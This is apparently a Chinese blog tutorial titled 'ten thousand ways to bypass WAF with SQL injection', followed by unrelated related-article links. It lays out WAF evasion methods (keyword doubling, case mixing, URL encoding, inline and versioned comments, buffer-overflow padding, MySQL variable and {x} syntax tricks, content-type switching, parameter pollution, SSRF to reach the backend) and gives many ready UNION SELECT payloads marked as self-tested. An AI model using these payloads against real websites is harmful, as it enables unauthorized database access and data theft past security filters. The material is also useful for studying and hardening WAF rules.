SQL注入绕过waf的一万种姿势
绕过waf分类:
白盒绕过:
针对代码审计,有的waf采用代码的方式,编写过滤函数,如下blacklist()函数所示:
1 ........
2
3 $id=$_GET['id'];
4
5 $id=blacklist($id);
6
7 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
8
9 $result=mysql_query($sql);
10
11 $row=mysql_fetch_array($result);
12
13 .........
1 function blacklist($id){
2
3 $id=preg_replace('/or/i',"",$id);//过滤or
4
5 $id=preg_replace('/AND/i',"",$id);//过滤AND
6
7 return $id;
8 }
策略:
(1)大小写变形,这里也许无法成功,因为函数使用了正则匹配,/or/i ;因此可以考虑重复,比如使用:OorR,就算过滤了一个or,仍然还剩一个OR
(2)等价替换,将and——>&& or——>||
黑盒绕过:
(一)架构层绕WAF
(1)用户本身是进入waf后访问web页面的,只要我们找到web的真实IP,绕过waf就不在话下了。
(2)在同网段内,页面与页面之间,服务器与服务器之间,通过waf的保护,然后展示给我们,只要我们在内部服务之间进行访问,即可绕过waf
(3)边界漏洞,同样类似于同网段数据,我们可以利用已知服务器存在的ssrf漏洞,将数据直接发送给同网段的web2进行SQL注入
(二)资源限制角度绕WAF
有的时候,由于数据太大,会导致waf无法将所有的数据都检测完,这个时候会忽略掉我们代入的sql注入语句,从而绕过waf,即:使用POST请求,对服务器请求很大资源逃逸sql注入语句。
(三)协议层面绕过WAF
(1)基于协议层,有的waf只过滤GET请求,而对POST请求没做别的限制,因此,可以将GET型换为POST型
(2)文件格式,页面仅对Content-Type为application/x-www-form-urlencoded数据格式进行过滤,因此我们只要将Content-Type格式修改为multipart/form-data,即可绕过waf
(3)参数污染:有的waf仅对部分内容进行过滤,例如:
index.php?id=1&id=2这样的参数id=1,waf也许仅对前部分的id=1进行检测,而后面的参数并不做处理。这样我们就可以在id=2的后面写入sql注入语句进行sql注入
(四)规则层面绕过
(1)首先使用比较特殊的方法进行绕过:
可以在注入点,测试waf到底拦截的哪一部分的数据,如果是空格,可以尝试:/*%!%2f*/
如果是对sql的函数进行了过滤,可以尝试:XX() ——> XX/*%!%2f*/()
(2)以下为常见的规则替换,部分姿势:
以下为总结方式:
(3)大小写
select * from users where id='1' uNioN SeleCt 1,2,3;
(4)替换关键字(关键字重复)
select * from users where id=1 ununionion selselectect 1,2,3;(5)编码
select * from users where id=1 union%0Aselect%0A1,2,3;//自测成功,但%2b不成功select * from users where id=1 %75nion select 1,2,3;//自测成功,继续加油(6)内联注释
select * from users where id=1 union/**/select/**/1,2,3;//自测成功,继续加油(7)等价函数替换
version()——> @@version
mid :mysql从第五位字符串开始截取,直到最后从第三个字符串开始截取,截取三位substr :oracle、mysql、sqlserver从第三个字符串开始截取,直到最后从第二个字符串开始截取,截取五个字符
substring :mysql、sqlserver
从第三个字符串开始截取,直到最后@@datadir ——> datadir()
select * from users where id=1 union select (mid(user(),5,3)),2,3;//自测成功,继续加油(8)特殊符号
+ # ——>%23(#) --+(注释符) \\\\ `(上引号) @
select * from users where id=1 union+select+1,2,3;//自测成功,继续加油(9)内联注释加!
select * from users where id=1 /*!union*/select 1,2,3;//自测成功,继续加油(10)缓冲区溢出
select * from users where id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version();//自测成功,继续加油
0xA*1000 指的是0XA后面的 "A" 重复1000次
一般来说对应用软件构成缓冲区溢出都需要比较大的测试长度
这里1000仅供参考,在一些情况下也可以更短(11)mysql特性绕过
1.= 等于
:= 赋值
@ @+变量名可直接调用select * from users where id=1 union select @test=user(),2,3;//1
select * from users where id=1 union select @test:=user(),2,3;//自测可用,继续加油,root
select * from users where id=1 union select @,2,3;//NULL(12)黑魔法
{x user} {x mysql.user}
select{x user}from{x mysql.user};//自测成功,继续加油,root
SQL注入绕过waf的一万种姿势的更多相关文章
- 深入理解SQL注入绕过WAF和过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- 深入了解SQL注入绕过waf和过滤机制
知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...
- 深入理解SQL注入绕过WAF与过滤机制
知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...
- [转载]SQL注入绕过WAF的方法总结
基本/简单绕过方法: 1.注释符 http://www.0dayhack.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4-. 2.使用 ...
- BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)
BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...
- TSRC挑战赛:WAF之SQL注入绕过挑战实录
转自腾讯 博文作者:TSRC白帽子 发布日期:2014-09-03 阅读次数:1338 博文内容: 博文作者:lol [TSRC 白帽子] 第二作者:Conqu3r.花开若相惜 来自团队:[Pax.M ...
- SQL注入绕WAF总结
0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...
- SQL注入过WAF(11.4 第三十三天)
WAF是什么? Web应用防护系统(也称:网站应用级入侵防御系统.英文:Web Application Firewall,简称: WAF).也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如D ...
- SQL注入绕过技巧总结
1.SQL注入过程中的处理# 终端payload编码------>web服务器解码-------->CGI脚本解码------>web应用解码----->数据库解码 浏览器.代 ...
随机推荐
- CF1397-C. Multiples of Length
CF1397-C. Multiples of Length 题意: 给出一个长度为\(n\)的序列,让你进行下面操作三次使得整个序列全部变为\(0\): 在序列中选中一段序列\((l, r)\), ...
- nginx实现文件上传和下载
nginx实现文件上传和下载 发布时间:2020-06-05 16:45:27 来源:亿速云 阅读:156 作者:Leah 栏目:系统运维 这篇文章给大家分享的是nginx实现文件上传和下载的方法.小 ...
- Kubernets二进制安装(19)之集群平滑升级
在实际生产环境中,部署好的集群稳定就行了,但是,如果需要使用到新的功能或当前版本出现了严重的漏洞,都建议做升级,本教程是将node节点从v1.15.10版本平滑升级到v1.15.12版本,如果升级到相 ...
- Zabbix 监控项更多用法
监控服务端口状态 配置 Zabbix 提供的检测器 配置自定义值映射 查看监控项数据状态 触发器配置 自定义监控项 TCP 11 种状态 TCP 11 种状态 LISTEN - 侦听来自远方TCP端口 ...
- ArcMobile的CoordinateCollection在逆时针添加点时自动调整节点顺序的问题
为了使用ArcMobile实现量测功能,LZ自定义了一个MapGraphicLayer用于绘图,代码如下: using System.Drawing; using ESRI.ArcGIS.Mobile ...
- μC/OS-III---I笔记1---概述
在裸板上跑一些程序对于一些电子设计是足够的,所谓裸板上的程序就是传统的前后台系统,而我的理解它应该是一种"过程类"的程序,一个大循环(作为后台)做一些处理,中断程序(作为前台)来处 ...
- CF 1477A. Nezzar and Board
传送门 思路: 从k = 2 * x - y ==> 2 * x = k + y ,可以看出x是k,y的中间值,则如果存在x1,x2,且x1 = x2 ± 1,则通过x1,x2可以得到所有整数, ...
- golang1.16新特性速览
今天是假期最后一天,明天起大家也要陆续复工了.golang1.16也在今天正式发布了. 原定计划是2月1号年前发布的,不过迟到也是golang的老传统了,正好也趁着最后的假期快速预览一下golang1 ...
- node os env reader
node os env reader node-os-env-reader.js #!/usr/bin/env node "use strict"; /** * * @author ...
- Chrome offline game & source codes hacker
Chrome offline game & source codes hacker dino === little dinosaur chrome://dino/ 手动 offline htt ...